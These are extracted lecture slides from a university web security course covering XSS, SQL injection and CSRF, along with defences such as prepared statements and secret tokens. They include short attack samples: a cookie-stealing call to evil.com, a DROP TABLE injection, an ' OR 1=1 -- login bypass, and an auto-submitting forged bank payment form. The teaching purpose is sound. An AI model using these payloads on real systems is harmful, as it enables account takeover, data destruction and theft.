CSE 484 / CSE M 584: Web Security

Winter 2022

Tadayoshi (Yoshi) Kohno
yoshi@cs

UW Instruction Team: David Kohlbrenner, Yoshi Kohno, Franziska Roesner. Thanks to Dan Boneh, Dieter Gollmann, Dan Halperin, John Manferdelli, John Mitchell, Vitaly Shmatikov, Bennet Yee, and many others for sample slides and materials ...
Announcements

• Homework 2s: Wow, so impressive!!
• Lab 2: Out
• Lab 3 will be extra credit
  • Designed to be a fun lab (IoT security)
  • I encourage everyone to try it!
  • But if your schedule is too complicated right now, it is extra credit
Begin Review Slides
Cross-Site Scripting (XSS)

Victim’s browser

Access some web page

  - Forces victim’s browser to call hello.cgi on naive.com with this script as “name”

- `GET/steal.cgi?cookie=`
  - Interpreted as JavaScript by victim’s browser; opens window and calls steal.cgi on evil.com

evil.com


HTML> Hello, dear
Welcome!</HTML>

naive.com

hello.cgi

hello.cgi executed
Basic Pattern for Reflected XSS

Injected script can manipulate website to show bogus information, leak sensitive data, cause user’s browser to attack other websites. This violates the “spirit” of the same origin policy.

1. Visit web site
2. Receive malicious page
3. Click on link
4. Echo user input
5. Send valuable data

User victim

Attack server

Server victim
Stored XSS

1. Attack server
   - Inject malicious script
     - Store bad stuff

2. User victim
   - request content
   - receive malicious script

3. Users view or download content

4. Attack server (steal valuable data)

Server victim
End Review Slides
SQL Injection
Typical Login Prompt
Typical Query Generation Code

```php
$selecteduser = $_GET['user'];
$sql = "SELECT Username, Key FROM Key " .
      "WHERE Username='" . $selecteduser . "';
$rs = $db->executeQuery($sql);
```

What if ‘user’ is a malicious string that changes the meaning of the query?
User Input Becomes Part of Query

Web browser (Client) → Enter Username & Password → Web server → SELECT passwd FROM USERS WHERE uname IS ‘$user’ → DB
Normal Login

Web browser (Client) → Enter Username & Password → Web server → SELECT passwd FROM USERS WHERE uname IS 'alicebob' → DB
Malicious User Input
**SQL Injection Attack**

```
SELECT passwd
FROM USERS
WHERE uname IS '';
DROP TABLE USERS; -- '
```

Eliminates all user accounts
XKCD

http://xkcd.com/327/
SQL Injection: Basic Idea

- This is an input validation vulnerability
  - Unsanitized user input in SQL query to back-end database changes the meaning of query
- Special case of command injection
Authentication with Backend DB

```
set UserFound = execute(
    "SELECT * FROM UserTable WHERE
    username=' ' & form("user") & ' AND
    password=' ' & form("pwd") & ' ');
```

User supplies username and password, this SQL query checks if user/password combination is in the database

If not UserFound.EOF
Authentication correct
else Fail

Only true if the result of SQL query is not empty, i.e., user/pwd is in the database

(\*) remember to hash passwords for real authentication scheme
Breakout
Using SQL Injection to Log In

• User gives username ‘ OR 1=1 --
• Web server executes query

```
set UserFound=execute(
    SELECT * FROM UserTable WHERE username= ‘ ’ OR 1=1 -- ...
);
```

• Now all records match the query, so the result is not empty ⇒ correct “authentication”!

Always true! Everything after -- is ignored!

- SQL injection attack where attacker asks database series of true or false questions
- Used when
  - the database does not output data to the web page
  - the web shows generic error messages, but has not mitigated the code that is vulnerable to SQL injection.
- SQL Injection vulnerability more difficult to exploit, but not impossible.
Preventing SQL Injection

• Validate all inputs
  • Filter out any character that has special meaning
    • Apostrophes, semicolons, percent, hyphens, underscores, ...
    • Use escape characters to prevent special characters from becoming part of the query code
      • E.g.: escape(O’Connor) = O\’Connor
  • Check the data type (e.g., input must be an integer)

• Same issue as with XSS: is there anything accidentally not checked / escaped?
Prepared Statements

```java
PreparedStatement ps =
    db.prepareStatement("SELECT pizza, toppings, quantity, order_day "+ "FROM orders WHERE userid=? AND order_month=?");
ps.setInt(1, session.getCurrentUserId());
ps.setInt(2, Integer.parseInt(request.getParameter("month")));
ResultSet res = ps.executeQuery();
```

- **Bind variables**: placeholders guaranteed to be data (not code)
- Query is parsed without data parameters
- Bind variables are typed (int, string, ...)

Data-as-code

• XSS

• SQL Injection

• (Like buffer overflows)
Cross-Site Request Forgery (CSRF/XSRF)
Cookie-Based Authentication Review

A diagram illustrating the process of cookie-based authentication between a browser and a server. The process involves:

1. The browser sends a POST request to `login.cgi`.
2. The server responds with a `Set-cookie: authenticator` header.
3. The browser includes the `Cookie: authenticator` header in subsequent requests to the server.
4. The server returns a response to the browser.
Browser Sandbox Review

• Based on the same origin policy (SOP)

• Active content (scripts) can send anywhere!
  • For example, can submit a POST request
  • Some ports inaccessible -- e.g., SMTP (email)

• Can only read response from the same origin
  • ... but you can do a lot with just sending!
Cross-Site Request Forgery

• Users logs into bank.com, forgets to sign off
  • Session cookie remains in browser state
• User then visits a malicious website containing
  
  ```html
  <form name=BillPayForm
  action=http://bank.com/BillPay.php>
  <input name=recipient value=attacker> …
  </form>

  <script>
document.BillPayForm.submit();</script>
  
• Browser sends cookie, payment request fulfilled!
• Lesson: cookie authentication is not sufficient when side effects can happen
Cookies in Forged Requests

User credentials automatically sent by browser
Impact

• Hijack any ongoing session (if no protection)
  • Netflix: change account settings, Gmail: steal contacts, Amazon: one-click purchase
• Reprogram the user’s home router
• Login to the attacker’s account
  • Why?
XSRF True Story

[Alex Stamos]

Internet Explorer

www.cybervillians.com/news.html

Bernanke Really an Alien?

• Changed user’s email notification settings
• Linked a new checking account
• Transferred out $5,000
• Unlinked the account
• Restored email notifications
XSRF (aka CSRF): Summary

1. Establish session
2. Visit server
3. Receive malicious page
4. Send forged request

Q: how long do you stay logged on to Gmail? Financial sites?
Broader View of XSRF

• Abuse of cross-site data export
  • SOP does not control data export
  • Malicious webpage can initiates requests from the user’s browser to an honest server
  • Server thinks requests are part of the established session between the browser and the server (automatically sends cookies)
XSRF Defenses

• Secret validation token

<input type=hidden value=23a3af01b>

• Referer validation

referer:
http://www.facebook.com/home.php
Referer Validation

- **Lenient** referer checking – header is optional
- **Strict** referer checking – header is required
Why Not Always Strict Checking?

• Why might the referer header be suppressed?
  • Stripped by the organization’s network filter
  • Stripped by the local machine
  • Stripped by the browser for HTTPS → HTTP transitions
  • User preference in browser
  • Buggy browser

• Web applications can’t afford to block these users

• Many web application frameworks include CSRF defenses today
Add Secret Token to Forms

• “Synchronizer Token Pattern”
• Include a secret challenge token as a hidden input in forms
  • Token often based on user’s session ID
  • Server must verify correctness of token before executing sensitive operations
• Why does this work?
  • Same-origin policy: attacker can’t read token out of legitimate forms loaded in user’s browser, so can’t create fake forms with correct token

<input type=hidden value=23a3af01b>